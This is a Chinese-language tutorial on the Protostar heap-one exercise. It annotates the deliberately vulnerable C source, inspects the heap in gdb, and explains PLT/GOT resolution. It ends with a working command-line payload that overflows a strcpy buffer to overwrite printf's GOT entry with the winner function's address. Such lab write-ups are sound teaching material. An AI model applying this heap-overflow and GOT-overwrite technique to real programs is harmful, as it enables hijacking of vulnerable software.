前言
这是一个系列文章,之前已经介绍过一些二进制安全的基础知识,这里就不过多重复提及,不熟悉的同学可以去看看我之前写的文章
程序静态分析
https://exploit.education/protostar/heap-one/
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct internet { #定义了一个名为 internet 的结构体
int priority; #定义了一个int 类型的 priority函数
char *name; #定义了一个 char 指针 name 函数
};
void winner() #winner函数
{
printf("and we have a winner @ %d\n", time(NULL)); #输出and we have a winner @ %d\n", time(NULL)
}
int main(int argc, char **argv) #主函数,参数是从命令行里获取的
{
struct internet *i1, *i2, *i3; #声明了三个指针变量,i1、i2和i3,它们都是指向struct internet类型的结构体的指针
i1 = malloc(sizeof(struct internet)); #为 internet 结构体分配内存
i1->priority = 1; #访问 i1 指向的结构体中的 priority,赋予1值
i1->name = malloc(8); #分配8个字节的内存
i2 = malloc(sizeof(struct internet)); #为 internet 结构体分配内存
i2->priority = 2; #访问 i1 指向的结构体中的 priority,赋予2值
i2->name = malloc(8); #分配8个字节的内存
strcpy(i1->name, argv[1]); #将第一个命令行参数复制到 i1
strcpy(i2->name, argv[2]); #将第二个命令行参数复制到 i2
printf("and that's a wrap folks!\n"); 输出and that's a wrap folks!
}
主函数的分配指针看着有些复杂,我们实际调试一下就能理解了
程序动态分析
使用gdb打开程序,在第一个malloc函数处下一个断点
我们要输入两个命令行参数才能运行程序
现在停在了这里,我们可以输入n执行malloc函数,为 internet 结构体分配内存,i1 和 i2 是指向这些结构体的指针
现在程序给我们分配了一个堆,地址是0x804a000-0x806b000,现在可以查看堆空间里的内容
现在堆里只有两个数据,0x11-1,0x10是第一个mallco函数给我们分配的空间大小,为什么要减一呢,因为在这个堆中保存数据是,为了区分是否是空闲区域,都会在表示大小的值后面加一个1,+1了就说明当前空间已经被存放了数据,那这里为什么后面存放的数据都是0呢,是因为这个程序是从命令行参数里获取值然后保存的,我们运行程序时没有输入参数,所以这里都是0
而最后的0x20ff1,表示空余的堆空间的大小
输入n,执行下一个指令,然后查看堆空间
这里按照程序 i1->priority = 1; 访问 i1 指向的结构体中的 priority,赋予1值
输入n,执行下一个指令
程序给我们分配8个字节的内存,0x0804a018是之后存放这8个字节的堆地址,前面标记的整数可以很方便帮助我们计算,所以第18的地址是图中圈起来的,程序会将我们输入的值,放入这里
输入n,执行第二个分配堆空间的操作
操作逻辑是和第一个一样的,0x0804a038地址也是我们第二个参数存放的地址,也就是图片上圈起来的地方
现在我们将输入的内容放入堆中
了解了这个程序的运作机制,现在我们可以想想怎么破解程序了
漏洞点还是出在strcpy函数身上,strcpy函数不会检查目标缓冲区的大小,很容易导致缓冲区溢出,我们可以覆盖掉第二个参数的写入地址0x0804a038,那么程序就可以在任意地址写入我们指定的值
什么是plt表与got表
这里举一个例子,我们用file工具查看文件信息可以发现
他是动态链接库的,意思是从libc里调用的函数
比如这里的gets函数,他不是二进制文件本身里面自带的,而从本机上的libc库中调用的,这样就能缩小文件体积
而plt表的作用是当程序需要调用一个外部函数时,它首先跳转到PLT表中寻找该函数对应的入口,PLT入口包含跳转指令,然后跳转到GOT表中的相应地址,GOT中的地址会指向解析函数,之后解析函数将实际的函数地址写入GOT表,以便后续直接跳转调用函数
实际操作一下就理解了
这里puts函数的plt表地址是0x80483cc,我们可以查看这个地址
然后跳转到了got表的地址,调用puts函数
这里我们可以覆盖掉printf函数got表地址,让程序执行printf函数时跳转到winner函数地址
破解
覆盖第二个malloc写入字符的地址,所需要的垃圾字符数
python -c "print('A'*20)"
我们可以使用echo工具来输入不可见字符,printf函数的got表地址0x8049774
这里gdb将printf函数解析成了puts函数,第一个参数确定了,我们还需要winner函数的地址
./heap1 "`/bin/echo -ne "AAAAAAAAAAAAAAAAAAAA\x74\x97\x04\x08"`" "`/bin/echo -ne "\x94\x84\x04\x08"`"
成功跳转到winner函数,这里我们也可以使用gdb查看堆空间
原本的0x0804a038被我们改成了printf函数got表的地址,之后我们输入的第二个参数就会覆盖掉printf函数got表原本的地址,变成winner函数地址,当程序调用prinf函数时,就会跳转到winner函数
堆是一个很难的部分,为了方便入门,这篇文章只是简单的介绍了一些堆的运作机制,之后的文章再慢慢介绍其他的机制